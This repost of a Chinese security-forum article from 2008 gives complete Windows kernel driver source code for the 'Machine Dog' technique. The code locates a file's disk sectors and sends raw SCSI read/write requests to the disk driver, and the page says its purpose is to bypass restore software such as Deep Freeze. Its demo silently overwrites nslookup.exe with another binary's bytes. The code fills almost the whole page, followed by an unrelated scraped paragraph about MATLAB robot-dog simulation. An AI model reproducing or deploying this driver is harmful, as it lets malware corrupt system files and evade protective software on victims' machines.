机器狗穿透还原的磁盘级文件读写完整驱动代码

#include<ntddk.h>
#include<srb.h>
#define FSCTL_GET_RETRIEVAL_POINTERS 0x90073
#define PARTITION_TYPE_NTFS       0x07
#define PARTITION_TYPE_FAT32       0x0B
#define PARTITION_TYPE_FAT32_LBA     0x0C
extern POBJECT_TYPE* IoDriverObjectType;
LARGE_INTEGER realdiskpos;
ULONG sectorspercluster;
typedef struct RETRIEVAL_POINTERS_BUFFER {
   ULONG ExtentCount;
   LARGE_INTEGER StartingVcn;
   struct {
LARGE_INTEGER NextVcn;
LARGE_INTEGER Lcn;
   } Extents[1];
} RETRIEVAL_POINTERS_BUFFER, *PRETRIEVAL_POINTERS_BUFFER;
typedef struct {   LARGE_INTEGER StartingVcn;
} STARTING_VCN_INPUT_BUFFER,   *PSTARTING_VCN_INPUT_BUFFER;

typedef struct _SENSE_DATA {
   unsigned char Valid;
   unsigned char SegmentNumber;
   unsigned char FileMark;
   unsigned char Information[4];
   unsigned char AdditionalSenseLength;
   unsigned char CommandSpecificInformation[4];
   unsigned char AdditionalSenseCode;
   unsigned char AdditionalSenseCodeQualifier;
   unsigned char FieldReplaceableUnitCode;
   unsigned char SenseKeySpecific[3];
} SENSE_DATA, *PSENSE_DATA;

#pragma pack(1)
typedef struct _PARTITION_ENTRY
{
UCHAR active;            
UCHAR StartHead;             
UCHAR StartSector;         
UCHAR StartCylinder;      
UCHAR PartitionType;      
UCHAR EndHead;            
UCHAR EndSector;             
UCHAR EndCylinder;          
ULONG StartLBA;             
ULONG TotalSector;         
} PARTITION_ENTRY, *PPARTITION_ENTRY;

typedef struct _MBR_SECTOR
{
UCHAR          BootCode[446];
PARTITION_ENTRY Partition[4];
USHORT           Signature;
} MBR_SECTOR, *PMBR_SECTOR;

typedef struct _BBR_SECTOR
{
USHORT JmpCode;          
UCHAR NopCode;         
UCHAR OEMName[8];      
USHORT BytesPerSector;   
UCHAR SectorsPerCluster;
USHORT ReservedSectors;   
UCHAR NumberOfFATs;      
USHORT RootEntries;   
USHORT NumberOfSectors16;
UCHAR MediaDescriptor;    
USHORT SectorsPerFAT16;    
USHORT SectorsPerTrack;    
USHORT HeadsPerCylinder;    
ULONG HiddenSectors;   
ULONG NumberOfSectors32;
ULONG SectorsPerFAT32;   
} BBR_SECTOR, *PBBR_SECTOR;
#pragma pack()

typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;             
CHAR ImageName[255];  
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

NTSYSAPI
NTSTATUS
NTAPI
ObReferenceObjectByName(
IN PUNICODE_STRING ObjectName,
IN ULONG Attributes,
IN PACCESS_STATE AccessState OPTIONAL,
IN ACCESS_MASK DesiredAccess OPTIONAL,
IN POBJECT_TYPE ObjectType,
IN KPROCESSOR_MODE AccessMode,
IN OUT PVOID ParseContext OPTIONAL,
OUT PVOID* Object );

NTSYSAPI
NTSTATUS
NTAPI
ZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength);

NTSTATUS
   IrpCompletionRoutine(
IN PDEVICE_OBJECT   DeviceObject,
IN PIRP   Irp,
IN PVOID   Context
){

PMDL mdl;
   Irp->UserIosb->Status=Irp->IoStatus.Status;
   Irp->UserIosb->Information=Irp->IoStatus.Information;
   if(! Context)
   {
   mdl=Irp->MdlAddress;
   if(mdl){
   DbgPrint("read size: %d..", Irp->IoStatus.Information);
   MmUnlockPages(mdl);
   IoFreeMdl(mdl);
   }}
   KeSetEvent(Irp->UserEvent, IO_NO_INCREMENT, 0);
   IoFreeIrp(Irp);

return STATUS_MORE_PROCESSING_REQUIRED;
}

NTSTATUS IrpCompletionRoutine_0(
IN PDEVICE_OBJECT   DeviceObject,
IN PIRP   Irp,
IN PVOID   Context
){
PMDL mdl;
   Irp->UserIosb->Status=Irp->IoStatus.Status;
   Irp->UserIosb->Information=Irp->IoStatus.Information;
   if (! Context )
   {
    mdl=Irp->MdlAddress;
if ( mdl )
{
   DbgPrint("read size: %d..", Irp->IoStatus.Information);
   MmUnlockPages(mdl);
   IoFreeMdl(mdl);
}
   }
KeSetEvent(Irp->UserEvent, IO_NO_INCREMENT, 0);
   IoFreeIrp(Irp);
   return STATUS_MORE_PROCESSING_REQUIRED;
}

ULONG GetModuleBase(char* name){

ULONG                       n,i ;
PSYSTEM_MODULE_INFORMATION   module;
PVOID                       pbuftmp;
       char modulename[255];

ZwQuerySystemInformation(11, &n, 0, &n);
pbuftmp = ExAllocatePool(NonPagedPool, n);
ZwQuerySystemInformation(11, pbuftmp, n, NULL);

module = (PSYSTEM_MODULE_INFORMATION)((PULONG )pbuftmp + 1 );
n    = *((PULONG)pbuftmp );
for ( i = 0; i < n; i++ )
{
            strcpy(modulename,module[i].ImageName + module[i].ModuleNameOffset);
            if(!_strnicmp(modulename,name,strlen(name))){
                     ExFreePool(pbuftmp);
                     return (ULONG)module[i].Base;
            }
}

ExFreePool(pbuftmp);
return 0;
}

NTSTATUS MyIoCallDriver(PDEVICE_OBJECT DeviceObject,PIRP Irp)//自己的IoCallDriver
{
   PIO_STACK_LOCATION stack;
   --Irp->CurrentLocation;
   stack = IoGetNextIrpStackLocation( Irp );
   Irp->Tail.Overlay.CurrentStackLocation= stack;//移动堆栈
   stack->DeviceObject=DeviceObject;
   return (DeviceObject->DriverObject->MajorFunction[(ULONG)stack->MajorFunction])(DeviceObject, Irp);
}

ULONG   AtapiReadWriteDisk(PDEVICE_OBJECT dev_object,ULONG MajorFunction, PVOID buffer,ULONG DiskPos, int BlockCount)
{
NTSTATUS status;
PSCSI_REQUEST_BLOCK srb;
PSENSE_DATA sense;
KEVENT Event;
PIRP irp;
PMDL mdl;
IO_STATUS_BLOCK isb;
PIO_STACK_LOCATION isl;
PVOID psense;
int count=8;
while(1){
srb=ExAllocatePool(0,sizeof(SCSI_REQUEST_BLOCK));
if(!srb)
break;
sense=ExAllocatePool(0,sizeof(SENSE_DATA));
psense=sense;
if(!sense)
break;
memset(srb,0,sizeof(SCSI_REQUEST_BLOCK));
memset(sense,0,sizeof(SENSE_DATA));
srb->Length=sizeof(SCSI_REQUEST_BLOCK);//更多关于srb,请看《SCSI 总线和IDE接口:协议、应用和编程》和《SCSI程序员指南》
srb->Function=0;
srb->DataBuffer=buffer;
srb->DataTransferLength=BlockCount<<9;//sector size*number of sector
srb->QueueAction=SRB_FLAGS_DISABLE_AUTOSENSE;
srb->SrbStatus=0;
srb->ScsiStatus=0;
srb->NextSrb=0;
srb->SenseInfoBuffer=sense;
srb->SenseInfoBufferLength=sizeof(SENSE_DATA);
if(MajorFunction==IRP_MJ_READ)
srb->SrbFlags=SRB_FLAGS_DATA_IN;
else
srb->SrbFlags=SRB_FLAGS_DATA_OUT;

if(MajorFunction==IRP_MJ_READ)
srb->SrbFlags|=SRB_FLAGS_ADAPTER_CACHE_ENABLE;

       srb->SrbFlags|=SRB_FLAGS_DISABLE_AUTOSENSE;
srb->TimeOutValue=(srb->DataTransferLength>>10)+1;
srb->QueueSortKey=DiskPos;
srb->CdbLength=10;
srb->Cdb[0]=2*((UCHAR)MajorFunction+ 17);
srb->Cdb[1]=srb->Cdb[1] & 0x1F | 0x80;
srb->Cdb[2]=(unsigned char)(DiskPos>>0x18)&0xFF;     //
srb->Cdb[3]=(unsigned char)(DiskPos>>0x10)&0xFF;     //
srb->Cdb[4]=(unsigned char)(DiskPos>>0x08)&0xFF;     //
srb->Cdb[5]=(UCHAR)DiskPos;           //填写sector位置
srb->Cdb[7]=(UCHAR)BlockCount>>0x08;
srb->Cdb[8]=(UCHAR)BlockCount;
            //By:Eros412
KeInitializeEvent(&Event, 0, 0);
irp=IoAllocateIrp(dev_object->StackSize,0);
mdl=IoAllocateMdl(buffer, BlockCount<<9, 0, 0, irp);
irp->MdlAddress=mdl;
if(!mdl){
   ExFreePool(srb);
   ExFreePool(psense);
   IoFreeIrp(irp);
   return STATUS_INSUFFICIENT_RESOURCES;
}
MmProbeAndLockPages(mdl,0,(MajorFunction==IRP_MJ_READ?0:1));
srb->OriginalRequest=irp;
irp->UserIosb=&isb;
irp->UserEvent=&Event;
irp->IoStatus.Status=0;
irp->IoStatus.Information=0;
irp->Flags=IRP_SYNCHRONOUS_API|IRP_NOCACHE;
irp->AssociatedIrp.SystemBuffer=0;
irp->Cancel=0;
irp->RequestorMode=0;
irp->CancelRoutine=0;
irp->Tail.Overlay.Thread=PsGetCurrentThread();
isl=IoGetNextIrpStackLocation(irp);
isl->DeviceObject=dev_object;
isl->MajorFunction=IRP_MJ_SCSI;
isl->Parameters.Scsi.Srb=srb;
isl->CompletionRoutine=IrpCompletionRoutine_0;
       isl->Context=srb;
       isl->Control=SL_INVOKE_ON_CANCEL|SL_INVOKE_ON_SUCCESS|SL_INVOKE_ON_ERROR;
status=MyIoCallDriver(dev_object,irp);
KeWaitForSingleObject(&Event, 0, 0, 0, 0);

if(srb->SenseInfoBuffer!=psense&&srb->SenseInfoBuffer)
ExFreePool(srb->SenseInfoBuffer);

ExFreePool(srb);
ExFreePool(psense);

       if ( status >= 0 || !count )
       return status;

    DbgPrint("Send XXX Failed..%08x/r/n", status);
    KeStallExecutionProcessor(1u);
    --count;
}
return STATUS_INSUFFICIENT_RESOURCES;
}

PDEVICE_OBJECT GetLastDiskDeviceObject(PDRIVER_OBJECT drv_object)//这个就是DR0
{
   PDEVICE_OBJECT result;
   PDEVICE_OBJECT finddev;
   finddev=drv_object->DeviceObject;
   result=NULL;
   while (finddev)
   {
if (finddev->DeviceType==FILE_DEVICE_DISK)
   result = finddev;
finddev=finddev->NextDevice;
   }
   return result;
}

PDEVICE_OBJECT GetAtaDr0DevObject(){

UNICODE_STRING diskstr;
PDRIVER_OBJECT diskdrv;
PDEVICE_OBJECT dr0dev;
RtlInitUnicodeString(&diskstr, L"//Driver//Disk");
if(ObReferenceObjectByName(&diskstr,64,0,0,*IoDriverObjectType,0,0,&diskdrv)<0)
return NULL;

dr0dev=GetLastDiskDeviceObject(diskdrv);
if(dr0dev)
DbgPrint("Eros412 said : ata dr0 dev obj is : %08x...",dr0dev);

ObfDereferenceObject(diskdrv);
return dr0dev;
}

PDEVICE_OBJECT GetFileObjectDevice(PFILE_OBJECT Object){

PDEVICE_OBJECT result=NULL;
PVPB vpb;
vpb=Object->Vpb;
result=vpb->DeviceObject;
if(!vpb||!result)
{
    if(!Object->DeviceObject->Vpb||!Object->DeviceObject->Vpb->DeviceObject)
result=Object->DeviceObject;
}
return result;
}

PLARGE_INTEGER GetPosAndCluster()//得到第一个分区文件数据的起始位置
{
PVOID buffer;
ULONG type,startlba;
int i;
PLARGE_INTEGER result;
PDEVICE_OBJECT dev;
PMBR_SECTOR mbrsec;
PPARTITION_ENTRY partition0;
PBBR_SECTOR bootsec;
result=ExAllocatePool(0,sizeof(LARGE_INTEGER));
dev=GetAtaDr0DevObject();
if(dev){
buffer=ExAllocatePool(0,512);
memset(buffer,0,512);
if(AtapiReadWriteDisk(dev, IRP_MJ_READ, buffer, 0, 1)>0)
DbgPrint("AtapiReadWriteDisk ok");

mbrsec=(PMBR_SECTOR)buffer;
partition0=&mbrsec->Partition[0];
startlba=partition0[0].StartLBA;
type=partition0[0].PartitionType;
DbgPrint("dwPartOnePos:0x%08x..1", startlba);
result->QuadPart=startlba;
memset(buffer,0,512);
if(AtapiReadWriteDisk(dev, IRP_MJ_READ, buffer, startlba, 1)>0){
bootsec=(PBBR_SECTOR)buffer;
DbgPrint("gSectorsPerCluster:%d...", bootsec->SectorsPerCluster);
sectorspercluster=bootsec->SectorsPerCluster;
}
result->QuadPart+=bootsec->ReservedSectors;
DbgPrint("dwPartOnePos:%I64x..2/r/n", result->QuadPart);
if(type==PARTITION_TYPE_FAT32||type==PARTITION_TYPE_FAT32_LBA)
result->QuadPart+=bootsec->NumberOfFATs*bootsec->SectorsPerFAT32;
DbgPrint("dwPartOnePos:%I64x..3/r/n", result->QuadPart);

}
else
result->QuadPart=0;

return result;
}

NTSTATUS OpenFile(PHANDLE FileHandle,PWCHAR filename)
{
   NTSTATUS status;
   ULONG v3;
   int v5;
   UNICODE_STRING DestinationString;
   OBJECT_ATTRIBUTES ObjectAttributes;
   struct _IO_STATUS_BLOCK IoStatusBlock;

   RtlInitUnicodeString(&DestinationString, filename);//L"//SystemRoot//System32//userinit.exe"
   ObjectAttributes.ObjectName = &DestinationString;
   ObjectAttributes.Length = 24;
   ObjectAttributes.RootDirectory = 0;
   ObjectAttributes.Attributes =OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE;// 576;
   ObjectAttributes.SecurityDescriptor = 0;
   ObjectAttributes.SecurityQualityOfService = 0;
   status = IoCreateFile(FileHandle, GENERIC_READ , &ObjectAttributes, &IoStatusBlock, 0, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ, FILE_OPEN , 0x50u, 0, 0, 0, 0, 0);
   if ( status != STATUS_SUCCESS)
DbgPrint("Open File failed...%08x..", status );
   return status;
}

PLARGE_INTEGER getfilesize(PWCHAR filename){
PLARGE_INTEGER filesize;
HANDLE hfile;
IO_STATUS_BLOCK IoStatusBlock;
filesize=ExAllocatePool(0,sizeof(LARGE_INTEGER));
OpenFile(&hfile,filename);
ZwQueryInformationFile(hfile, &IoStatusBlock, filesize, 24, FileStandardInformation);
return filesize;
}

NTSTATUS InitSectors(PWCHAR filename){//得到文件在扇区的位置,存放在realdiskpos

PLARGE_INTEGER diskpos;
NTSTATUS status,newstatus;
HANDLE filehandle;
PVOID testingpool;
IO_STATUS_BLOCK iosb;
LARGE_INTEGER ByteOffset;
PFILE_OBJECT Object;
PDEVICE_OBJECT dev;
PIRP irp;
KEVENT Event;
IO_STATUS_BLOCK iosb2;
PIO_STACK_LOCATION nextio;
STARTING_VCN_INPUT_BUFFER StartVcn;
unsigned char abBuffer[1024];
PRETRIEVAL_POINTERS_BUFFER pVcnPairs;
realdiskpos.QuadPart=0;
StartVcn.StartingVcn.QuadPart=0;

memset(abBuffer, 0, 1024);
pVcnPairs = (PRETRIEVAL_POINTERS_BUFFER)abBuffer;

if(OpenFile(&filehandle,filename)!= STATUS_SUCCESS)
return 1;

testingpool=ExAllocatePool(0,512);
ByteOffset.QuadPart=0;
if(ZwReadFile(filehandle,0,0,0,&iosb,testingpool,512,&ByteOffset,0)!=STATUS_SUCCESS){
DbgPrint("ZwReadFile error");
goto end;
}
if(ObReferenceObjectByHandle(filehandle,0,(POBJECT_TYPE)*IoFileObjectType,0,&Object,0)<0){
DbgPrint("ObReferenceObjectByHandle error");
goto end;
}
dev=GetFileObjectDevice(Object);
if(!dev){
DbgPrint("Get Device Object error");
goto end2;
}
DbgPrint("pDevObj is: %08x...",dev);
irp=IoAllocateIrp( dev->StackSize, 0);
   if(irp==NULL)
   goto end2;

KeInitializeEvent(&Event, SynchronizationEvent, 0);
irp->AssociatedIrp.SystemBuffer=&StartVcn;
irp->UserBuffer=pVcnPairs;
irp->UserEvent=&Event;
irp->MdlAddress=0;
irp->UserIosb=&iosb2;
irp->RequestorMode=KernelMode;
irp->Tail.Overlay.Thread=PsGetCurrentThread();
irp->Tail.Overlay.OriginalFileObject=Object;
irp->Flags = 0;
nextio = IoGetNextIrpStackLocation(irp);
nextio->MajorFunction=IRP_MJ_FILE_SYSTEM_CONTROL;
nextio->DeviceObject=dev;
nextio->FileObject=Object;
nextio->Parameters.FileSystemControl.InputBufferLength= sizeof(STARTING_VCN_INPUT_BUFFER);
nextio->Parameters.FileSystemControl.FsControlCode=FSCTL_GET_RETRIEVAL_POINTERS;
nextio->Parameters.FileSystemControl.Type3InputBuffer=&StartVcn;
nextio->Parameters.FileSystemControl.OutputBufferLength=1024;
nextio->CompletionRoutine=IrpCompletionRoutine;
nextio->Context=0;
nextio->Control=SL_INVOKE_ON_CANCEL|SL_INVOKE_ON_SUCCESS|SL_INVOKE_ON_ERROR;

MyIoCallDriver(dev,irp);

    KeWaitForSingleObject(&Event, 0,0,0, NULL);
    newstatus = iosb2.Status;

if(newstatus<0){
DbgPrint("MyIofCallDriver   failed:%08x...",newstatus);
goto end2;
}

DbgPrint("ExtentCount = %d",pVcnPairs->ExtentCount);
DbgPrint("StartLcn = %I64x",pVcnPairs->Extents[0].Lcn.QuadPart);
diskpos=GetPosAndCluster();
realdiskpos.QuadPart=diskpos->QuadPart+sectorspercluster*pVcnPairs->Extents[0].Lcn.QuadPart;

if(diskpos){
DbgPrint("gDiskPos is: %I64x..Cluster:%d...part offset: %08x..",realdiskpos.QuadPart,sectorspercluster,diskpos->QuadPart);
}

return 0;

end2:
if(irp!=NULL)
IoFreeIrp(irp);
ObDereferenceObject(Object);
end:
ZwClose(filehandle);
if(testingpool)
ExFreePool(testingpool);
return 1;
}

VOID DriverUnload(
IN PDRIVER_OBJECT   DriverObject
){

}

NTSTATUS
   DriverEntry(
IN PDRIVER_OBJECT   DriverObject,
IN PUNICODE_STRING   RegistryPath
){

PLARGE_INTEGER filesize;
PDEVICE_OBJECT dev;
PVOID buf;
ULONG psector;
   DriverObject->DriverUnload =DriverUnload;
   InitSectors(L"//??//c://telnet.exe");//找了两个大小差不多的文件,把telnet.exe的binary code拷贝到nslookup.exe,系统重启后生效(注:当exe执行时
FSD从cache里把内容拷贝过来,所以需要重启)
   filesize=getfilesize(L"//??//c://telnet.exe");
   buf=ExAllocatePool(0,filesize->LowPart);
   memset(buf,0x00,filesize->LowPart);
   dev=GetAtaDr0DevObject();
   psector=realdiskpos.LowPart;
   if(dev!=NULL&&psector!=0&&buf!=NULL){
AtapiReadWriteDisk(dev,IRP_MJ_READ,buf,psector,(filesize->LowPart/512)+1);

InitSectors(L"//??//c://nslookup.exe");
filesize=getfilesize(L"//??//c://nslookup.exe");
psector=realdiskpos.LowPart;
AtapiReadWriteDisk(dev,IRP_MJ_WRITE,buf,psector,(filesize->LowPart/512)+1);

   }

return STATUS_SUCCESS;
}
[ 本帖最后由 eros412 于 2008-7-3 19:34 编辑 ]

附件
before.JPG (47.17 KB)

2008-7-3 03:13

运行前的nslookup.exe

after.JPG (70.61 KB)

2008-7-3 03:13

运行后并重启的nslookup.exe

1.JPG (380.62 KB)

2008-7-3 17:55

拷贝的内容

2.JPG (317.35 KB)

2008-7-3 17:55

拷贝的内容(相同)

 

文章作者:Eros412
信息来源:邪恶八进制信息安全团队(www.eviloctal.com
备注:获取文件在扇区的位置后,向磁盘驱动发送srb命令读写扇区,来穿透冰点等还原软件

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
MATLAB机器狗仿真代码主要包括以下几个方面的内容: 1. 运动控制:通过编写代码实现机器狗的运动控制,如行走、奔跑、跳跃等。可以使用运动学模型、动力学模型或者控制算法来描述机器狗的运动规律。 2. 感知模块:模拟机器狗的感知能力,包括视觉感知、声音感知、触觉感知等。可以使用图像处理、音频处理等技术,编写代码来实现机器狗对周围环境感知的功能。 3. 行为决策:根据机器狗的感知结果以及预设的行为规则,编写代码来实现机器狗的行为决策。通过逻辑判断和决策树等方式,使机器狗能够根据感知结果做出相应的行动。 4. 环境建模:通过编写代码来模拟机器狗所处的环境,可以是室内场景、室外场景或者特定环境。可以使用三维建模软件等工具,创建机器狗的虚拟环境,并在MATLAB中进行仿真。 5. 可视化展示:编写代码,将机器狗仿真的运动、感知结果、行为决策结果等以图形化的方式展示出来,可以使用MATLAB提供的绘图函数等来实现。 总之,MATLAB机器狗仿真代码的编写涉及到多个方面的技术,需要对机器狗的运动、感知、行为决策等进行建模,并实现代码的逻辑和功能,同时还需要进行环境建模和可视化展示。编写这样的仿真代码可以帮助我们更好地理解机器狗的工作原理和行为规律,并进行相关的研究和应用。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值